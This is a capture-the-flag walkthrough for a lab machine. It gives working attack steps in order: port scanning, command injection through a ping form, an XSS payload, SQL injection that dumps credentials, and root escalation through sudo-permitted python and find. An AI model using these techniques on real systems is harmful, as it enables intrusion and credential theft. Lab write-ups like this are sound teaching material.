

# CTF-Walkthrough

We already get the IP from the CTF OS itself.

IP = 192.168.1.2

Now we Scan the IP using nmap for all ports and Aggressive Scan.

`nmap -T4 -A -p- 192.168.1.2`

Starting Nmap 7.80 ( <https://nmap.org> ) at 2021-02-03 12:51 IST

Nmap scan report for 192.168.1.2

Host is up (0.0012s latency).

Not shown: 65530 filtered ports

PORT STATE SERVICE VERSION

21/tcp open ftp vsftpd 2.0.8 or later

| ftp-anon: Anonymous FTP login allowed (FTP code 230)

| ftp-syst:

| STAT:

| FTP server status:

| Connected to ::ffff:192.168.1.3

| Logged in as ftp

| TYPE: ASCII

| No session bandwidth limit

| Session timeout in seconds is 600

| Control connection is plain text

| Data connections will be plain text

| At session startup, client count was 4

| vsFTPD 3.0.3 - secure, fast, stable

|\_End of status

22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 2048 3d:6e:86:1e:5d:69:7e:8f:ae:79:90:78:f3:33:45:95 (RSA)

| 256 5e:cf:ad:35:b6:60:ff:b7:24:64:fc:f1:2f:18:b8:63 (ECDSA)

|\_ 256 d8:b2:a8:21:7e:82:26:ca:69:7f:af:3f:ef:be:74:50 (ED25519)

80/tcp open http Apache httpd 2.4.18 ((Ubuntu))

| http-robots.txt: 1 disallowed entry

|\_ /blog/\*

|\_ http-server-header: Apache/2.4.18 (Ubuntu)

|\_ http-title: Konnexions 2020

50001/tcp open unknown

| fingerprint-strings:

| GenericLines, GetRequest, NULL, ibm-db2:

|

63336/tcp open unknown  
| fingerprint-strings:  
| GenericLines, GetRequest, HTTPOptions, NULL, RTSPRequest:  
|

Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux\_kernel

### **Insecure FTP Server**

We find that at port 21 FTP is running  
Anonymous login  
get F\_L\_A\_G\_1.txt  
gives us **FLAG 1!**

**Flag\${h34d1n6\_h0m3}\$ - 5pts**

Open webpage running at port 80

### **Command Execution/RCE**

In source code of Homepage, we see the hint for <http://192.168.1.2/5urpr1s3.php>  
The ping feature is vulnerable.  
127.0.0.1; ls Gives **FLAG 2!**  
cat is blocked here so use  
; more W31rdst4r\_Fl4G\_5.txt

**Flag\${71r3d}\$ - 10pts**

### **Directory Traversal/Enumeration**

`; ls /home` gives us two users

`; ls /home/alanwalker` and `;ls /home/dexter` shows us two flags although dexter's flag is not accessible.

`;strings /home/alanwalker/W31rdst4r_Fl4G_3.jpg` **FLAG 3!**

**Flag\${4l0n3}\$ - 10pts**

Also we see that under `robots.txt`, `/blog` is disallowed.

So <https://192.168.1.2/blog> opens up a blog page. Login as GUEST

### LFI

<http://192.168.1.2/blog/view.php?id=2> is the url of the only post on that page.

So change `id=1`, gives us **FLAG 4!**

**Flag\${4ll\_f4ll5\_d0wn}\$ - 10pts**

### XSS

Now, we see that the Blog entry is XSS vulnerable.

So enter `<Script>alert(0)</Script>` in the title field. Post it.

**FLAG 5 !**

**Flag\${d14m0nd\_h34r7}\$ - 10pts**

### SQL Injection

Now try sqlmap as SQL Injection seems possible.

We succeed from the post's url on 'id' using Burpsuite on this - <http://192.168.1.2/blog/view.php?id=2>

How to do it -> <https://github.com/dexter-11/Konnexions-2020/tree/master/Day%206> We get a table with credentials. Hence dump it to get login for 'dexter'

```
dexter aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/djlqWkdXa25oZzhrQQ==
```

`ssh dexter@192.168.1.2 -p 22`

login and get **FLAG 6!**

**Flag\${0n\_my\_w4y}\$ - 10 pts**

### Hidden flag from hint at netcat broadcast

`find / -name s3cr3tFl4g.txt 2>>/dev/null`

**FLAG 7!**

**Flag\${d4rk51d3}\$ - 15pts**

Now we need to get ROOT!!

We have a shell in the system.

## **Privilege Escalation - SUID bit misconfigured**

Now we go for the step-by-step enumeration of the system according to the notes given (Session 10)

Using the command `sudo -l`

Matching Defaults entries for dexter on Dex-HacktheBox:

`env_reset, mail_badpass,`

`secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin`

User dexter may run the following commands on Dex-HacktheBox:

(root) NOPASSWD: `/usr/bin/find, /bin/cat, /usr/bin/python, /usr/local/bin/nmap`

We can see that DEXTER can run find, python, cat, and nmap as ROOT without password.

<https://pentestlab.blog/category/privilege-escalation/>

### **Find**

```
touch test
```

```
find test -exec /bin/bash \;
```

### **Python**

```
sudo python -c 'import pty;pty.spawn("/bin/bash");'
```

We have Root!!

## **FLAG 8!**

**Flag\${51n6\_m3\_70\_5l33p}\$ - 30pts**